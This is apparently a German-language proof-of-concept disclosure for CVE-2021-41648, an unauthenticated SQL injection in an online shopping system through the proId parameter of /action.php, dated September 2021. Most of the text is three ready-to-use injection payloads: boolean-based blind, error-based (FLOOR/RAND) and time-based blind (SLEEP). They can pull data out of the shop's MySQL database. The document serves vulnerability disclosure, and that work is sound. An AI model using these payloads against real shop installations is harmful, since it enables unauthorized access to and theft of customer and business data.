
Proof-of-Concept-Exploit für nicht authentifizierte SQL-Injection im Online-Shopping-System über den Parameter proId, der die Datenextraktion aus der MySQL-Datenbank ermöglicht.
CVE-2021-41648 SQL-Injection in online-shopping-system
Das online-shopping-system ist anfällig für nicht authentifizierte error-/boolean-basierte Blind- und fehlerbasierte SQL-Injection-Angriffe.
Der proId-Parameter auf der Seite /action.php bereinigt die Benutzereingaben nicht; ein Angreifer kann sensible Daten aus der zugrunde liegenden MySQL-Datenbank extrahieren.
URL: /action.php
Parameter: proId
Parameter: proId (POST)
Typ: boolean-based blind
Titel: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: proId=61 OR 17-7=10' OR NOT 4774=4774#&addToCart=1
Typ: error-based
Titel: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: proId=61 OR 17-7=10' OR (SELECT 6869 FROM(SELECT COUNT(*),CONCAT(0x717a716271,(SELECT (ELT(6869=6869,1))),0x716a627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gfTu&addToCart=1
Typ: time-based blind
Titel: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: proId=61 OR 17-7=10' AND (SELECT 2990 FROM (SELECT(SLEEP(5)))YhWy)-- xWNo&addToCart=1

Jason Colyvas
MOBIUSBINARY
21. September 2021